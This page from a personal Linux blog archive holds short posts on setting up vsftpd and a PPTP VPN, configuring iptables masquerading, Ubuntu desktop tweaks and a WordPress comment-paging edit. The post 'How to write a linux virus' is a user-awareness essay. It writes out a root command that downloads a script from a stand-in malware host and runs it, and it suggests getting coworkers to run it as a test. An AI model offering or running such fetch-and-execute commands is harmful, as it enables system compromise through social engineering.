Author Archives: cviorel - Page 6

New artwork for Ubuntu 9.04 Jaunty Jackalope

In the next version of Ubuntu, codenamed Jaunty Jackalope, the users will be prestented with new looks. Softpedia has already posted screenshots of the new login screen, themes, and USplash theme. Though no new background has been selected yet, there are already some great ones.

How to setup vsftpd FTP on Ubuntu Linux

vsftpd is a GPL licensed FTP server for UNIX systems, including Linux. It is secure and extremely fast.
Using this instructions, you can set up vsftpd on variuos linux distros. This tutorial will show you how to set up your own ftp in Ubuntu Linux.

1. Install vsftpd

2. Change the configurations file
Open the vsftpd.conf configuration file with a text editor. The file is located in the /etc directory.

Once you are editing the file, you’ll want to make a few changes. Change this:

To this:

This will disallow anonymous access to your FTP server. Unless you have a really good reason for permitting anonymous access, and you know what you’re doing in terms of network security, I’d recommend leaving the anonymous access off. Especially if your Ubuntu FTP server is sitting on the Internet.

Of course, with anonymous access off, you’ll need to permit local users to log in. Do this by changing this directive:

To this:

(Putting a # in front of a line disables it; this is called “commenting it out”.)

3. Adding a “fake” shell
Edit the /etc/shells file and add a non-existent shell name like /bin/false, for example. This fake shell will limit access on the system for FTP users.

/bin/false is our added no-existent shell. With Red Hat Linux, a special device name /dev/null exists for purposes such as these.

4. Setup an FTP user account
It’s important to give to your strictly FTP users no real shell account on the Linux system. In this manner, if for any reasons someone could successfully get out of the FTP chrooted environment, it would not have the possibility of executing any user tasks since it doesn’t have a bash shell. First, create new users for this purpose.
This has to be separate from a regular user account with unlimited access because of how the chroot environment works. Chroot makes it appear from the user’s perspective as if the level of the file system you’ve placed them in is the top level of the file system.
Use the following command to create users in the /etc/passwd file. This step must be done for each additional new user you allow to access your FTP server.

– The mkdir command will create the ftp/ftpuser directory under the /home directory to handle all FTP users’ home directories we’ll have on the server.
– The useradd command will add the new user named ftpuser to our Linux server.
– Finally, the passwd command will set the password for this user ftpuser.

Once you’ve made these changes, restart the vsftpd service with this command:

5. Override config option specified in the manual page, on a per-user basis (optional)
If you want to make custom changes in the behaviour of the ftp server on a per-user basis, you should know that vsftpd has a powerful option that allows you to do this.
If you set user_config_dir to be /etc/vsftpd_user_conf and then log on as the user “chris”, then vsftpd will apply the settings in the file /etc/vsftpd_user_conf/chris for the duration of the session. The format of this file is detailed in the manual!
Please note that not all settings are effective on a per-user basis. For example, many settings only prior to the user’s session being started. Examples of settings which will not affect any behviour on a per-user basis include listen_address, banner_file, max_per_ip, max_clients, xferlog_file, etc.

Monitor your downtime


easy.MEDIA launched a website monitoring service (www.e-nagios.com) based on nagios.
The service offers SMS/Email notification to meet your need for mobility.
The servers/websites will be crossed-monitored to avoid false alarms.

How to write a linux virus

After reading an interesting article about linux “viruses” (the comments are interersing, too), I decided to raise the alarm about the source of many security related issues
in today’s computers: the user.
The author talks about the many ways to compromise a linux box, even if you are not root.
I will not get into techinal methods, you can find them on the internet or by reading the original article. Instead I will talk about the regular user.
From my experience I know for sure that a regular user could compromise his own system.
Don’t belive me? Make a little test.
1. For Windows
– rename any executable file as “virus.exe”, put it on a web server and give the link to your coworkers by email, instant messenger, whatever.
2. For Linux
– put them to open terminal and type “sudo su -” and then “wget http://www.your_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”
You’ll be surprised by their actions. You’ll find out that many will open the link or run the commands.
For many of you this will not be a surprise. You’ll say: “I know someone who will instinctively click on the link!”.
Think about that every one of us knows a person like that.
It’s not a hard thing to make the user click on a link or run a command.
The attackers just have to find ways to extract informations from the compromised box.
In the end of the article, the author talks about solutions to this problem.

The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken seriously.

In conclusion, there are no bullet-proof systems, only users who are too careless and click every link in their’s mouse way.

COOoder

This extension provides syntax highlighting features for OpenOffice.org. COOoder will be usefull for developers wanting to present code fragments in writer documents.
More info here: http://extensions.services.openoffice.org/project/coooder.

How to set up a VPN server on Ubuntu

Install PoPToP Point to Point Tunneling Server:

Edit /etc/pptpd.conf file:

Uncomment the following lines (replace IP range if you like)

Save and exit.

Edit /etc/ppp/pptpd-options file

Make sure you have this:

Save and exit.

Next step is to add users who can use this connection.

The file should look like this:

Now we need to configure IP Masquerading on the VPN server.
The purpose of IP Masquerading is to allow machines with private, non-routable IP addresses on your network to access the Internet through the machine doing the masquerading.

ufw Masquerading
IP Masquerading can be achieved using custom ufw rules. This is possible because the current back-end for ufw is iptables-restore with the rules files located in /etc/ufw/*.rules. These files are a great place to add legacy iptables rules used without ufw, and rules that are more network gateway or bridge related.
The rules are split into two different files, rules that should be executed before ufw command line rules, and rules that are executed after ufw command line rules.

a) First, packet forwarding needs to be enabled in ufw. Two configuration files will need to be adjusted, in /etc/default/ufw change the DEFAULT_FORWARD_POLICY to “ACCEPT”:

Then edit /etc/ufw/sysctl.conf and uncomment:

Similarly, for IPv6 forwarding uncomment:

b) Now we will add rules to the /etc/ufw/before.rules file. The default rules only configure the filter table, and to enable masquerading the nat table will need to be configured. Add the following to the top of the file just after the header comments:

The comments are not strictly necessary, but it is considered good practice to document your configuration. Also, when modifying any of the rules files in /etc/ufw, make sure these lines are the last line for each table modified:

First, since we trust pptpd completely, I would accept all traffic to/from my pptpd. I added this lines at the beginning of the filter section.

Additionally, I must forward traffic to/from my pptpd. These lines was also added after the above lines.

c) Finally, disable and re-enable ufw to apply the changes:

IP Masquerading should now be enabled. You can also add any additional FORWARD rules to the /etc/ufw/before.rules. It is recommended that these additional rules be
added to the ufw-before-forward chain.

iptables Masquerading
iptables can also be used to enable masquerading.
a) Similar to ufw, the first step is to enable IPv4 packet forwarding by editing /etc/sysctl.conf and uncomment the following line:

If you wish to enable IPv6 forwarding also uncomment:

– Next, execute the sysctl command to enable the new settings in the configuration file:

– IP Masquerading can now be accomplished with a single iptables rule, which may differ slightly based on your network configuration:

The above command assumes that your private address space is 192.168.0.0/16 and that your Internet-facing device is ppp0. The syntax is broken down as follows:

  • -t nat — the rule is to go into the nat table
  • -A POSTROUTING — the rule is to be appended (-A) to the POSTROUTING chain
  • -s 192.168.0.0/16 — the rule applies to traffic originating from the specified address space
  • -o ppp0 — the rule applies to traffic scheduled to be routed through the specified network device
  • -j MASQUERADE — traffic matching this rule is to “jump” (-j) to the MASQUERADE target to be manipulated as described above

b) Also, each chain in the filter table (the default table, and where most or all packet filtering occurs) has a default policy of ACCEPT, but if you are creating a firewall in addition to a gateway device, you may have set the policies to DROP or REJECT, in which case your masqueraded traffic needs to be allowed through the FORWARD chain for the above rule to work:

The above commands will allow all connections from your local network to the Internet and all traffic related to those connections to return to the machine that initiated them.

c) If you want masquerading to be enabled on reboot, which you probably do, edit /etc/rc.local and add any commands used above. For example add the first command with no filtering:

Logs
Firewall logs are essential for recognizing attacks, troubleshooting your firewall rules, and noticing unusual activity on your network. You must include logging rules in your firewall for them to be generated, though, and logging rules must come before any applicable terminating rule (a rule with a target that decides the fate of the packet, such as ACCEPT, DROP, or REJECT).

If you are using ufw, you can turn on logging by entering the following in a terminal:

To turn logging off in ufw, simply replace on with off in the above command.
If using iptables instead of ufw, enter:

A request on port 80 from the local machine, then, would generate a log in dmesg that looks like this:

The above log will also appear in /var/log/messages, /var/log/syslog, and /var/log/kern.log. This behavior can be modified by editing /etc/syslog.conf appropriately or by installing and configuring ulogd and using the ULOG target instead of LOG. The ulogd daemon is a userspace server that listens for logging instructions from the kernel specifically for firewalls, and can log to any file you like, or even to a PostgreSQL or MySQL database. Making sense of your firewall logs can be simplified by using a log analyzing tool such as fwanalog, fwlogwatch, or lire.

NOTE: Documentation for this article is taken from https://help.ubuntu.com/8.04/serverguide/C/firewall.html.

Ctrl+Alt+Del to open System Monitor in Ubuntu

If you want to enable Ctrl+Alt+Del to open System Monitor you have to do this:

Go to System->Preferences->Keyboard Shortcuts and search for “Logout” action (that is under Desktop actions) and you will see that Ctrl+Alt+Del combination is associated to Logout shortcut.
You have to click on that shortcut and press Backspace if you want to disable it or choose another combination.
Close this and open the Configuration Editor (if you have installed it you will find it under Applications->System Tools; or just run gconf-editor).
– On left tree select: apps->metacity
– Select “Global_keybindings” and search for a “run_command_X” value where X is between 1 and 12 and it is not used
– Add this value: <Control><Alt>Delete
– Now select “Keybindings_commands” on left tree. Goto “command_X” where X is the same number selected in run_command_X option.
Add this value: gnome-system-monitor

Alternative solution (I prefer this one):
Run in terminal:

UUID issue with new hard-drive

I just added a new hard-drive to my system. I created an ext3 partition and used vol_id and blkid to show the UUID. Based on that information, I edited the /etc/fstab file accordingly. When I try the sudo mount -a command, I get

and the mount fails.
To resolve that, just use

It updates the /dev/disk/by-uuid directory and your uuid mount works like a charm.

Install Nodoka (Fedora theme) on Ubuntu (II)

I was explaining here how to install Nodoka theme on Ubuntu.
Or you can use this small script I made to automate this.

PS: You need to have libsexy-dev installed. If not, just run this command in your terminal:

I hope you’ll find it usefull.
Here is the script:

Change the number of comments per page in admin interface of wordpress

Let’s have this situation:

You need to make a backup of your blog, you have access only in the admin interface of wordpress and you have 3000+ comments containing spam in the ‘awaiting moderation’ state. Do you spend your day selecting 20 comments at a time and hittind the delete button? Hell, NO!

You hack the edit-comments.php file located in the wp-admin folder.
Locate the following line:

$comments_per_page = apply_filters('comments_per_page', 20, $comment_status);

Now you need to change the figure 20 to another figure, e.g. 100 so that it looks like this:

$comments_per_page = apply_filters('comments_per_page', 100, $comment_status);

Save the file and check the display of the comments in the admin interface.

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